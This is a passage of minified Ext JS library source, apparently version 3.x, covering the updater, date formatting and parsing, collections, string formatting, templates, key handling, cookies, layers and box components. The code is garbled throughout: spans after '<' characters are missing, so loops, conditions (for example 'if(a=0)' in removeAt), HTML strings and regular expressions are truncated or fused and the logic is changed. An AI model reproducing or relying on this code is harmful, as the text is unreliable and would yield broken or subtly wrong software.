Ext.Updater.BasicRenderer()},setDefaultUrl:function(h){this.defaultUrl=h},getEl:function(){return this.el},update:function(i,n,p,l){var k=this,h,j;if(k.fireEvent(b,k.el,i,n)!==false){if(Ext.isObject(i)){h=i;i=h.url;n=n||h.params;p=p||h.callback;l=l||h.discardUrl;j=h.scope;if(!Ext.isEmpty(h.nocache)){k.disableCaching=h.nocache}if(!Ext.isEmpty(h.text)){k.indicatorText='
'+h.text+"
"}if(!Ext.isEmpty(h.scripts)){k.loadScripts=h.scripts}if(!Ext.isEmpty(h.timeout)){k.timeout=h.timeout}}k.showLoading();if(!l){k.defaultUrl=i}if(Ext.isFunction(i)){i=i.call(k)}var m=Ext.apply({},{url:i,params:(Ext.isFunction(n)&&j)?n.createDelegate(j):n,success:a,failure:e,scope:k,callback:undefined,timeout:(k.timeout*1000),disableCaching:k.disableCaching,argument:{options:h,url:i,form:null,callback:p,scope:j||window,params:n}},h);k.transaction=Ext.Ajax.request(m)}},formUpdate:function(k,h,j,l){var i=this;if(i.fireEvent(b,i.el,k,h)!==false){if(Ext.isFunction(h)){h=h.call(i)}k=Ext.getDom(k);i.transaction=Ext.Ajax.request({form:k,url:h,success:a,failure:e,scope:i,timeout:(i.timeout*1000),argument:{url:h,form:k,callback:l,reset:j}});i.showLoading.defer(1,i)}},startAutoRefresh:function(i,j,l,m,h){var k=this;if(h){k.update(j||k.defaultUrl,l,m,true)}if(k.autoRefreshProcId){clearInterval(k.autoRefreshProcId)}k.autoRefreshProcId=setInterval(k.update.createDelegate(k,[j||k.defaultUrl,l,m,true]),i*1000)},stopAutoRefresh:function(){if(this.autoRefreshProcId){clearInterval(this.autoRefreshProcId);delete this.autoRefreshProcId}},isAutoRefreshing:function(){return !!this.autoRefreshProcId},showLoading:function(){if(this.showLoadIndicator){this.el.dom.innerHTML=this.indicatorText}},abort:function(){if(this.transaction){Ext.Ajax.abort(this.transaction)}},isUpdating:function(){return this.transaction?Ext.Ajax.isLoading(this.transaction):false},refresh:function(h){if(this.defaultUrl){this.update(this.defaultUrl,null,h,true)}}}}());Ext.Updater.defaults={timeout:30,disableCaching:false,showLoadIndicator:true,indicatorText:'
Loading...
',loadScripts:false,sslBlankUrl:Ext.SSL_SECURE_URL};Ext.Updater.updateElement=function(d,c,e,b){var a=Ext.get(d).getUpdater();Ext.apply(a,b);a.update(c,e,b?b.callback:null)};Ext.Updater.BasicRenderer=function(){};Ext.Updater.BasicRenderer.prototype={render:function(c,a,b,d){c.update(a.responseText,b.loadScripts,d)}};(function(){Date.useStrict=false;function b(d){var c=Array.prototype.slice.call(arguments,1);return d.replace(/\{(\d+)\}/g,function(e,g){return c[g]})}Date.formatCodeToRegex=function(d,c){var e=Date.parseCodes[d];if(e){e=typeof e=="function"?e():e;Date.parseCodes[d]=e}return e?Ext.applyIf({c:e.c?b(e.c,c||"{0}"):e.c},e):{g:0,c:null,s:Ext.escapeRe(d)}};var a=Date.formatCodeToRegex;Ext.apply(Date,{parseFunctions:{"M$":function(d,c){var e=new RegExp("\\/Date\\(([-+])?(\\d+)(?:[+-]\\d{4})?\\)\\/");var g=(d||"").match(e);return g?new Date(((g[1]||"")+g[2])*1):null}},parseRegexes:[],formatFunctions:{"M$":function(){return"\\/Date("+this.getTime()+")\\/"}},y2kYear:50,MILLI:"ms",SECOND:"s",MINUTE:"mi",HOUR:"h",DAY:"d",MONTH:"mo",YEAR:"y",defaults:{},dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNumbers:{Jan:0,Feb:1,Mar:2,Apr:3,May:4,Jun:5,Jul:6,Aug:7,Sep:8,Oct:9,Nov:10,Dec:11},getShortMonthName:function(c){return Date.monthNames[c].substring(0,3)},getShortDayName:function(c){return Date.dayNames[c].substring(0,3)},getMonthNumber:function(c){return Date.monthNumbers[c.substring(0,1).toUpperCase()+c.substring(1,3).toLowerCase()]},formatContainsHourInfo:(function(){var d=/(\\.)/g,c=/([gGhHisucUOPZ]|M\$)/;return function(e){return c.test(e.replace(d,""))}})(),formatCodes:{d:"String.leftPad(this.getDate(), 2, '0')",D:"Date.getShortDayName(this.getDay())",j:"this.getDate()",l:"Date.dayNames[this.getDay()]",N:"(this.getDay() ? this.getDay() : 7)",S:"this.getSuffix()",w:"this.getDay()",z:"this.getDayOfYear()",W:"String.leftPad(this.getWeekOfYear(), 2, '0')",F:"Date.monthNames[this.getMonth()]",m:"String.leftPad(this.getMonth() + 1, 2, '0')",M:"Date.getShortMonthName(this.getMonth())",n:"(this.getMonth() + 1)",t:"this.getDaysInMonth()",L:"(this.isLeapYear() ? 1 : 0)",o:"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))",Y:"String.leftPad(this.getFullYear(), 4, '0')",y:"('' + this.getFullYear()).substring(2, 4)",a:"(this.getHours() < 12 ? 'am' : 'pm')",A:"(this.getHours() < 12 ? 'AM' : 'PM')",g:"((this.getHours() % 12) ? this.getHours() % 12 : 12)",G:"this.getHours()",h:"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')",H:"String.leftPad(this.getHours(), 2, '0')",i:"String.leftPad(this.getMinutes(), 2, '0')",s:"String.leftPad(this.getSeconds(), 2, '0')",u:"String.leftPad(this.getMilliseconds(), 3, '0')",O:"this.getGMTOffset()",P:"this.getGMTOffset(true)",T:"this.getTimezone()",Z:"(this.getTimezoneOffset() * -60)",c:function(){for(var k="Y-m-dTH:i:sP",h=[],g=0,d=k.length;g= 0 && y >= 0){","v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);","}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){","v = null;","}else{","v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","}","}","}","if(v){","if(zz != null){","v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);","}else if(o){","v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));","}","}","return v;"].join("\n");return function(m){var e=Date.parseRegexes.length,o=1,g=[],l=[],k=false,d="",j=0,h,n;for(;j Date.y2kYear ? 1900 + ty : 2000 + ty;\n",s:"(\\d{1,2})"},a:function(){return a("A")},A:{calcLast:true,g:1,c:"if (/(am)/i.test(results[{0}])) {\nif (!h || h == 12) { h = 0; }\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}",s:"(AM|PM|am|pm)"},g:function(){return a("G")},G:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{1,2})"},h:function(){return a("H")},H:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},i:{g:1,c:"i = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},s:{g:1,c:"s = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},u:{g:1,c:"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n",s:"(\\d+)"},O:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),","mn = o.substring(3,5) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{4})"},P:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),","mn = o.substring(4,6) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{2}:\\d{2})"},T:{g:0,c:null,s:"[A-Z]{1,4}"},Z:{g:1,c:"zz = results[{0}] * 1;\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\n",s:"([+-]?\\d{1,5})"},c:function(){var e=[],c=[a("Y",1),a("m",2),a("d",3),a("h",4),a("i",5),a("s",6),{c:"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n"},{c:["if(results[8]) {","if(results[8] == 'Z'){","zz = 0;","}else if (results[8].indexOf(':') > -1){",a("P",8).c,"}else{",a("O",8).c,"}","}"].join("\n")}];for(var g=0,d=c.length;g0?"-":"+")+String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset())/60),2,"0")+(a?":":"")+String.leftPad(Math.abs(this.getTimezoneOffset()%60),2,"0")},getDayOfYear:function(){var b=0,e=this.clone(),a=this.getMonth(),c;for(c=0,e.setDate(1),e.setMonth(0);c28){a=Math.min(a,this.getFirstDateOfMonth().add("mo",c).getLastDateOfMonth().getDate())}e.setDate(a);e.setMonth(this.getMonth()+c);break;case Date.YEAR:e.setFullYear(this.getFullYear()+c);break}return e},between:function(c,a){var b=this.getTime();return c.getTime()<=b&&b<=a.getTime()}});Date.prototype.format=Date.prototype.dateFormat;if(Ext.isSafari&&(navigator.userAgent.match(/WebKit\/(\d+)/)[1]||NaN)<420){Ext.apply(Date.prototype,{_xMonth:Date.prototype.setMonth,_xDate:Date.prototype.setDate,setMonth:function(a){if(a<=-1){var d=Math.ceil(-a),c=Math.ceil(d/12),b=(d%12)?12-d%12:0;this.setFullYear(this.getFullYear()-c);return this._xMonth(b)}else{return this._xMonth(a)}},setDate:function(a){return this.setTime(this.getTime()-(this.getDate()-a)*86400000)}})}Ext.util.MixedCollection=function(b,a){this.items=[];this.map={};this.keys=[];this.length=0;this.addEvents("clear","add","replace","remove","sort");this.allowFunctions=b===true;if(a){this.getKey=a}Ext.util.MixedCollection.superclass.constructor.call(this)};Ext.extend(Ext.util.MixedCollection,Ext.util.Observable,{allowFunctions:false,add:function(b,c){if(arguments.length==1){c=arguments[0];b=this.getKey(c)}if(typeof b!="undefined"&&b!==null){var a=this.map[b];if(typeof a!="undefined"){return this.replace(b,c)}this.map[b]=c}this.length++;this.items.push(c);this.keys.push(b);this.fireEvent("add",this.length-1,c,b);return c},getKey:function(a){return a.id},replace:function(c,d){if(arguments.length==1){d=arguments[0];c=this.getKey(d)}var a=this.map[c];if(typeof c=="undefined"||c===null||typeof a=="undefined"){return this.add(c,d)}var b=this.indexOfKey(c);this.items[b]=d;this.map[c]=d;this.fireEvent("replace",c,a,d);return d},addAll:function(e){if(arguments.length>1||Ext.isArray(e)){var b=arguments.length>1?arguments:e;for(var d=0,a=b.length;d=this.length){return this.add(b,c)}this.length++;this.items.splice(a,0,c);if(typeof b!="undefined"&&b!==null){this.map[b]=c}this.keys.splice(a,0,b);this.fireEvent("add",a,c,b);return c},remove:function(a){return this.removeAt(this.indexOf(a))},removeAt:function(a){if(a=0){this.length--;var c=this.items[a];this.items.splice(a,1);var b=this.keys[a];if(typeof b!="undefined"){delete this.map[b]}this.keys.splice(a,1);this.fireEvent("remove",c,b);return c}return false},removeKey:function(a){return this.removeAt(this.indexOfKey(a))},getCount:function(){return this.length},indexOf:function(a){return this.items.indexOf(a)},indexOfKey:function(a){return this.keys.indexOf(a)},item:function(b){var a=this.map[b],c=a!==undefined?a:(typeof b=="number")?this.items[b]:undefined;return typeof c!="function"||this.allowFunctions?c:null},itemAt:function(a){return this.items[a]},key:function(a){return this.map[a]},contains:function(a){return this.indexOf(a)!=-1},containsKey:function(a){return typeof this.map[a]!="undefined"},clear:function(){this.length=0;this.items=[];this.keys=[];this.map={};this.fireEvent("clear")},first:function(){return this.items[0]},last:function(){return this.items[this.length-1]},_sort:function(k,a,j){var d,e,b=String(a).toUpperCase()=="DESC"?-1:1,h=[],l=this.keys,g=this.items;j=j||function(i,c){return i-c};for(d=0,e=g.length;de?1:(g=a;c--){d[d.length]=b[c]}}return d},filter:function(c,b,d,a){if(Ext.isEmpty(b,false)){return this.clone()}b=this.createValueMatcher(b,d,a);return this.filterBy(function(e){return e&&b.test(e[c])})},filterBy:function(g,e){var h=new Ext.util.MixedCollection();h.getKey=this.getKey;var b=this.keys,d=this.items;for(var c=0,a=d.length;c]+>/gi,stripScriptsRe=/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,nl2brRe=/\r?\n/g;return{ellipsis:function(value,len,word){if(value&&value.length>len){if(word){var vs=value.substr(0,len-2),index=Math.max(vs.lastIndexOf(" "),vs.lastIndexOf("."),vs.lastIndexOf("!"),vs.lastIndexOf("?"));if(index==-1||index<(len-15)){return value.substr(0,len-3)+"..."}else{return vs.substr(0,index)+"..."}}else{return value.substr(0,len-3)+"..."}}return value},undef:function(value){return value!==undefined?value:""},defaultValue:function(value,defaultValue){return value!==undefined&&value!==""?value:defaultValue},htmlEncode:function(value){return !value?value:String(value).replace(/&/g,"&").replace(/>/g,">").replace(/").replace(/</g,"<").replace(/"/g,'"').replace(/&/g,"&")},trim:function(value){return String(value).replace(trimRe,"")},substr:function(value,start,length){return String(value).substr(start,length)},lowercase:function(value){return String(value).toLowerCase()},uppercase:function(value){return String(value).toUpperCase()},capitalize:function(value){return !value?value:value.charAt(0).toUpperCase()+value.substr(1).toLowerCase()},call:function(value,fn){if(arguments.length>2){var args=Array.prototype.slice.call(arguments,2);args.unshift(value);return eval(fn).apply(window,args)}else{return eval(fn).call(window,value)}},usMoney:function(v){v=(Math.round((v-0)*100))/100;v=(v==Math.floor(v))?v+".00":((v*10==Math.floor(v*10))?v+"0":v);v=String(v);var ps=v.split("."),whole=ps[0],sub=ps[1]?"."+ps[1]:".00",r=/(\d+)(\d{3})/;while(r.test(whole)){whole=whole.replace(r,"$1,$2")}v=whole+sub;if(v.charAt(0)=="-"){return"-$"+v.substr(1)}return"$"+v},date:function(v,format){if(!v){return""}if(!Ext.isDate(v)){v=new Date(Date.parse(v))}return v.dateFormat(format||"m/d/Y")},dateRenderer:function(format){return function(v){return Ext.util.Format.date(v,format)}},stripTags:function(v){return !v?v:String(v).replace(stripTagsRE,"")},stripScripts:function(v){return !v?v:String(v).replace(stripScriptsRe,"")},fileSize:function(size){if(size<1024){return size+" bytes"}else{if(size<1048576){return(Math.round(((size*10)/1024))/10)+" KB"}else{return(Math.round(((size*10)/1048576))/10)+" MB"}}},math:function(){var fns={};return function(v,a){if(!fns[a]){fns[a]=new Function("v","return v "+a+";")}return fns[a](v)}}(),round:function(value,precision){var result=Number(value);if(typeof precision=="number"){precision=Math.pow(10,precision);result=Math.round(value*precision)/precision}return result},number:function(v,format){if(!format){return v}v=Ext.num(v,NaN);if(isNaN(v)){return""}var comma=",",dec=".",i18n=false,neg=v<0;v=Math.abs(v);if(format.substr(format.length-2)=="/i"){format=format.substr(0,format.length-2);i18n=true;comma=".";dec=","}var hasComma=format.indexOf(comma)!=-1,psplit=(i18n?format.replace(/[^\d\,]/g,""):format.replace(/[^\d\.]/g,"")).split(dec);if(1")}}}();Ext.XTemplate=function(){Ext.XTemplate.superclass.constructor.apply(this,arguments);var y=this,j=y.html,q=/]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/,d=/^]*?for="(.*?)"/,v=/^]*?if="(.*?)"/,x=/^]*?exec="(.*?)"/,r,p=0,k=[],o="values",w="parent",l="xindex",n="xcount",e="return ",c="with(values){ ";j=["",j,""].join("");while((r=j.match(q))){var b=r[0].match(d),a=r[0].match(v),A=r[0].match(x),g=null,h=null,t=null,z=b&&b[1]?b[1]:"";if(a){g=a&&a[1]?a[1]:null;if(g){h=new Function(o,w,l,n,c+e+(Ext.util.Format.htmlDecode(g))+"; }")}}if(A){g=A&&A[1]?A[1]:null;if(g){t=new Function(o,w,l,n,c+(Ext.util.Format.htmlDecode(g))+"; }")}}if(z){switch(z){case".":z=new Function(o,w,c+e+o+"; }");break;case"..":z=new Function(o,w,c+e+w+"; }");break;default:z=new Function(o,w,c+e+z+"; }")}}k.push({id:p,target:z,exec:t,test:h,body:r[1]||""});j=j.replace(r[0],"{xtpl"+p+"}");++p}for(var u=k.length-1;u>=0;--u){y.compileTpl(k[u])}y.master=k[k.length-1];y.tpls=k};Ext.extend(Ext.XTemplate,Ext.Template,{re:/\{([\w\-\.\#]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?(\s?[\+\-\*\\]\s?[\d\.\+\-\*\\\(\)]+)?\}/g,codeRe:/\{\[((?:\\\]|.|\n)*?)\]\}/g,applySubTemplate:function(a,k,j,d,c){var h=this,g,m=h.tpls[a],l,b=[];if((m.test&&!m.test.call(h,k,j,d,c))||(m.exec&&m.exec.call(h,k,j,d,c))){return""}l=m.target?m.target.call(h,k,j):k;g=l.length;j=m.target?k:j;if(m.target&&Ext.isArray(l)){for(var e=0,g=l.length;e=0;--g){d[k[g].selectorText.toLowerCase()]=k[g]}}catch(i){}},getRules:function(h){if(d===null||h){d={};var k=c.styleSheets;for(var j=0,g=k.length;j=37&&a<=40){b.stopEvent()}},destroy:function(){this.disable()},enable:function(){if(this.disabled){if(Ext.isSafari2){this.el.on("keyup",this.stopKeyUp,this)}this.el.on(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=false}},disable:function(){if(!this.disabled){if(Ext.isSafari2){this.el.un("keyup",this.stopKeyUp,this)}this.el.un(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=true}},setDisabled:function(a){this[a?"disable":"enable"]()},isKeydown:function(){return this.forceKeyDown||Ext.EventManager.useKeydown}};Ext.KeyMap=function(c,b,a){this.el=Ext.get(c);this.eventName=a||"keydown";this.bindings=[];if(b){this.addBinding(b)}this.enable()};Ext.KeyMap.prototype={stopEvent:false,addBinding:function(b){if(Ext.isArray(b)){Ext.each(b,function(j){this.addBinding(j)},this);return}var k=b.key,g=b.fn||b.handler,l=b.scope;if(b.stopEvent){this.stopEvent=b.stopEvent}if(typeof k=="string"){var h=[];var e=k.toUpperCase();for(var c=0,d=e.length;c2)?a[2]:null;var h=(i>3)?a[3]:"/";var d=(i>4)?a[4]:null;var g=(i>5)?a[5]:false;document.cookie=c+"="+escape(e)+((b===null)?"":("; expires="+b.toGMTString()))+((h===null)?"":("; path="+h))+((d===null)?"":("; domain="+d))+((g===true)?"; secure":"")},get:function(d){var b=d+"=";var g=b.length;var a=document.cookie.length;var e=0;var c=0;while(e0){return this.ownerCt.items.itemAt(a-1)}}return null},getBubbleTarget:function(){return this.ownerCt}});Ext.reg("component",Ext.Component);Ext.Action=Ext.extend(Object,{constructor:function(a){this.initialConfig=a;this.itemId=a.itemId=(a.itemId||a.id||Ext.id());this.items=[]},isAction:true,setText:function(a){this.initialConfig.text=a;this.callEach("setText",[a])},getText:function(){return this.initialConfig.text},setIconClass:function(a){this.initialConfig.iconCls=a;this.callEach("setIconClass",[a])},getIconClass:function(){return this.initialConfig.iconCls},setDisabled:function(a){this.initialConfig.disabled=a;this.callEach("setDisabled",[a])},enable:function(){this.setDisabled(false)},disable:function(){this.setDisabled(true)},isDisabled:function(){return this.initialConfig.disabled},setHidden:function(a){this.initialConfig.hidden=a;this.callEach("setVisible",[!a])},show:function(){this.setHidden(false)},hide:function(){this.setHidden(true)},isHidden:function(){return this.initialConfig.hidden},setHandler:function(b,a){this.initialConfig.handler=b;this.initialConfig.scope=a;this.callEach("setHandler",[b,a])},each:function(b,a){Ext.each(this.items,b,a)},callEach:function(e,b){var d=this.items;for(var c=0,a=d.length;cj+o.left){k=j-l-c;g=true}if((i+e)>d+o.top){i=d-e-c;g=true}if(k=m){i=m-e-5}}n=[k,i];this.storeXY(n);a.setXY.call(this,n);this.sync()}}return this},getConstrainOffset:function(){return this.shadowOffset},isVisible:function(){return this.visible},showAction:function(){this.visible=true;if(this.useDisplay===true){this.setDisplayed("")}else{if(this.lastXY){a.setXY.call(this,this.lastXY)}else{if(this.lastLT){a.setLeftTop.call(this,this.lastLT[0],this.lastLT[1])}}}},hideAction:function(){this.visible=false;if(this.useDisplay===true){this.setDisplayed(false)}else{this.setLeftTop(-10000,-10000)}},setVisible:function(i,h,k,l,j){if(i){this.showAction()}if(h&&i){var g=function(){this.sync(true);if(l){l()}}.createDelegate(this);a.setVisible.call(this,true,true,k,g,j)}else{if(!i){this.hideUnders(true)}var g=l;if(h){g=function(){this.hideAction();if(l){l()}}.createDelegate(this)}a.setVisible.call(this,i,h,k,g,j);if(i){this.sync(true)}else{if(!h){this.hideAction()}}}return this},storeXY:function(c){delete this.lastLT;this.lastXY=c},storeLeftTop:function(d,c){delete this.lastXY;this.lastLT=[d,c]},beforeFx:function(){this.beforeAction();return Ext.Layer.superclass.beforeFx.apply(this,arguments)},afterFx:function(){Ext.Layer.superclass.afterFx.apply(this,arguments);this.sync(this.isVisible())},beforeAction:function(){if(!this.updating&&this.shadow){this.shadow.hide()}},setLeft:function(c){this.storeLeftTop(c,this.getTop(true));a.setLeft.apply(this,arguments);this.sync();return this},setTop:function(c){this.storeLeftTop(this.getLeft(true),c);a.setTop.apply(this,arguments);this.sync();return this},setLeftTop:function(d,c){this.storeLeftTop(d,c);a.setLeftTop.apply(this,arguments);this.sync();return this},setXY:function(j,h,k,l,i){this.fixDisplay();this.beforeAction();this.storeXY(j);var g=this.createCB(l);a.setXY.call(this,j,h,k,g,i);if(!h){g()}return this},createCB:function(e){var d=this;return function(){d.constrainXY();d.sync(true);if(e){e()}}},setX:function(g,h,j,k,i){this.setXY([g,this.getY()],h,j,k,i);return this},setY:function(k,g,i,j,h){this.setXY([this.getX(),k],g,i,j,h);return this},setSize:function(j,k,i,m,n,l){this.beforeAction();var g=this.createCB(n);a.setSize.call(this,j,k,i,m,g,l);if(!i){g()}return this},setWidth:function(i,h,k,l,j){this.beforeAction();var g=this.createCB(l);a.setWidth.call(this,i,h,k,g,j);if(!h){g()}return this},setHeight:function(j,i,l,m,k){this.beforeAction();var g=this.createCB(m);a.setHeight.call(this,j,i,l,g,k);if(!i){g()}return this},setBounds:function(o,m,p,i,n,k,l,j){this.beforeAction();var g=this.createCB(l);if(!n){this.storeXY([o,m]);a.setXY.call(this,[o,m]);a.setSize.call(this,p,i,n,k,g,j);g()}else{a.setBounds.call(this,o,m,p,i,n,k,g,j)}return this},setZIndex:function(c){this.zindex=c;this.setStyle("z-index",c+2);if(this.shadow){this.shadow.setZIndex(c+1)}if(this.shim){this.shim.setStyle("z-index",c)}return this}})})();Ext.Shadow=function(d){Ext.apply(this,d);if(typeof this.mode!="string"){this.mode=this.defaultMode}var e=this.offset,c={h:0},b=Math.floor(this.offset/2);switch(this.mode.toLowerCase()){case"drop":c.w=0;c.l=c.t=e;c.t-=1;if(Ext.isIE){c.l-=this.offset+b;c.t-=this.offset+b;c.w-=b;c.h-=b;c.t+=1}break;case"sides":c.w=(e*2);c.l=-e;c.t=e-1;if(Ext.isIE){c.l-=(this.offset-b);c.t-=this.offset+b;c.l+=1;c.w-=(this.offset-b)*2;c.w-=b+1;c.h-=1}break;case"frame":c.w=c.h=(e*2);c.l=c.t=-e;c.t+=1;c.h-=2;if(Ext.isIE){c.l-=(this.offset-b);c.t-=(this.offset-b);c.l+=1;c.w-=(this.offset+b+1);c.h-=(this.offset+b);c.h+=1}break}this.adjusts=c};Ext.Shadow.prototype={offset:4,defaultMode:"drop",show:function(a){a=Ext.get(a);if(!this.el){this.el=Ext.Shadow.Pool.pull();if(this.el.dom.nextSibling!=a.dom){this.el.insertBefore(a)}}this.el.setStyle("z-index",this.zIndex||parseInt(a.getStyle("z-index"),10)-1);if(Ext.isIE){this.el.dom.style.filter="progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius="+(this.offset)+")"}this.realign(a.getLeft(true),a.getTop(true),a.getWidth(),a.getHeight());this.el.dom.style.display="block"},isVisible:function(){return this.el?true:false},realign:function(b,r,q,g){if(!this.el){return}var n=this.adjusts,k=this.el.dom,u=k.style,i=0,p=(q+n.w),e=(g+n.h),j=p+"px",o=e+"px",m,c;u.left=(b+n.l)+"px";u.top=(r+n.t)+"px";if(u.width!=j||u.height!=o){u.width=j;u.height=o;if(!Ext.isIE){m=k.childNodes;c=Math.max(0,(p-12))+"px";m[0].childNodes[1].style.width=c;m[1].childNodes[1].style.width=c;m[2].childNodes[1].style.width=c;m[1].style.height=Math.max(0,(e-12))+"px"}}},hide:function(){if(this.el){this.el.dom.style.display="none";Ext.Shadow.Pool.push(this.el);delete this.el}},setZIndex:function(a){this.zIndex=a;if(this.el){this.el.setStyle("z-index",a)}}};Ext.Shadow.Pool=function(){var b=[],a=Ext.isIE?'
':'
';return{pull:function(){var c=b.shift();if(!c){c=Ext.get(Ext.DomHelper.insertHtml("beforeBegin",document.body.firstChild,a));c.autoBoxAdjust=false}return c},push:function(c){b.push(c)}}}();Ext.BoxComponent=Ext.extend(Ext.Component,{initComponent:function(){Ext.BoxComponent.superclass.initComponent.call(this);this.addEvents("resize","move")},boxReady:false,deferHeight:false,setSize:function(b,d){if(typeof b=="object"){d=b.height;b=b.width}if(Ext.isDefined(b)&&Ext.isDefined(this.boxMinWidth)&&(bthis.boxMaxWidth)){b=this.boxMaxWidth}if(Ext.isDefined(d)&&Ext.isDefined(this.boxMaxHeight)&&(d>this.boxMaxHeight)){d=this.boxMaxHeight}if(!this.boxReady){this.width=b;this.height=d;return this}if(this.cacheSizes!==false&&this.lastSize&&this.lastSize.width==b&&this.lastSize.height==d){return this}this.lastSize={width:b,height:d};var c=this.adjustSize(b,d),g=c.width,a=c.height,e;if(g!==undefined||a!==undefined){e=this.getResizeEl();if(!this.deferHeight&&g!==undefined&&a!==undefined){e.setSize(g,a)}else{if(!this.deferHeight&&a!==undefined){e.setHeight(a)}else{if(g!==undefined){e.setWidth(g)}}}this.onResize(g,a,b,d);this.fireEvent("resize",this,g,a,b,d)}return this},setWidth:function(a){return this.setSize(a)},setHeight:function(a){return this.setSize(undefined,a)},getSize:function(){return this.getResizeEl().getSize()},getWidth:function(){return this.getResizeEl().getWidth()},getHeight:function(){return this.getResizeEl().getHeight()},getOuterSize:function(){var a=this.getResizeEl();return{width:a.getWidth()+a.getMargins("lr"),height:a.getHeight()+a.getMargins("tb")}},getPosition:function(a){var b=this.getPositionEl();if(a===true){return[b.getLeft(true),b.getTop(true)]}return this.xy||b.getXY()},getBox:function(a){var c=this.getPosition(a);var b=this.getSize();b.x=c[0];b.y=c[1];return b},updateBox:function(a){this.setSize(a.width,a.height);this.setPagePosition(a.x,a.y);return this},getResizeEl:function(){return this.resizeEl||this.el},setAutoScroll:function(a){if(this.rendered){this.getContentTarget().setOverflow(a?"auto":"")}this.autoScroll=a;return this},setPosition:function(a,g){if(a&&typeof a[1]=="number"){g=a[1];a=a[0]}this.x=a;this.y=g;if(!this.boxReady){return this}var b=this.adjustPosition(a,g);var e=b.x,d=b.y;var c=this.getPositionEl();if(e!==undefined||d!==undefined){if(e!==undefined&&d!==undefined){c.setLeftTop(e,d)}else{if(e!==undefined){c.setLeft(e)}else{if(d!==undefined){c.setTop(d)}}}this.onPosition(e,d);this.fireEvent("move",this,e,d)}return this},setPagePosition:function(a,c){if(a&&typeof a[1]=="number"){c=a[1];a=a[0]}this.pageX=a;this.pageY=c;if(!this.boxReady){return}if(a===undefined||c===undefined){return}var b=this.getPositionEl().translatePoints(a,c);this.setPosition(b.left,b.top);return this},afterRender:function(){Ext.BoxComponent.superclass.afterRender.call(this);if(this.resizeEl){this.resizeEl=Ext.get(this.resizeEl)}if(this.positionEl){this.positionEl=Ext.get(this.positionEl)}this.boxReady=true;Ext.isDefined(this.autoScroll)&&this.setAutoScroll(this.autoScroll);this.setSize(this.width,this.height);if(this.x||this.y){this.setPosition(this.x,this.y)}else{if(this.pageX||this.pageY){this.setPagePosition(this.pageX,this.pageY)}}},syncSize:function(){delete this.lastSize;this.setSize(this.autoWidth?undefined:this.getResizeEl().getWidth(),this.autoHeight?undefined:this.getResizeEl().getHeight());return this},onResize:function(d,b,a,c){},onPosition:function(a,b){},adjustSize:function(a,b){if(this.autoWidth){a="auto"}if(this.autoHeight){b="auto"}return{width:a,height:b}},adjustPosition:function(a,b){return{x:a,y:b}}});Ext.reg("box",Ext.BoxComponent);Ext.Spacer=Ext.extend(Ext.BoxComponent,{autoEl:"div"});Ext.reg("spacer",Ext.Spacer);Ext.SplitBar=function(c,e,b,d,a){this.el=Ext.get(c,true);this.el.dom.unselectable="on";this.resizingEl=Ext.get(e,true);this.orientation=b||Ext.SplitBar.HORIZONTAL;this.minSize=0;this.maxSize=2000;this.animate=false;this.useShim=false;this.shim=null;if(!a){this.proxy=Ext.SplitBar.createProxy(this.orientation)}else{this.proxy=Ext.get(a).dom}this.dd=new Ext.dd.DDProxy(this.el.dom.id,"XSplitBars",{dragElId:this.proxy.id});this.dd.b4StartDrag=this.onStartProxyDrag.createDelegate(this);this.dd.endDrag=this.onEndProxyDrag.createDelegate(this);this.dragSpecs={};this.adapter=new 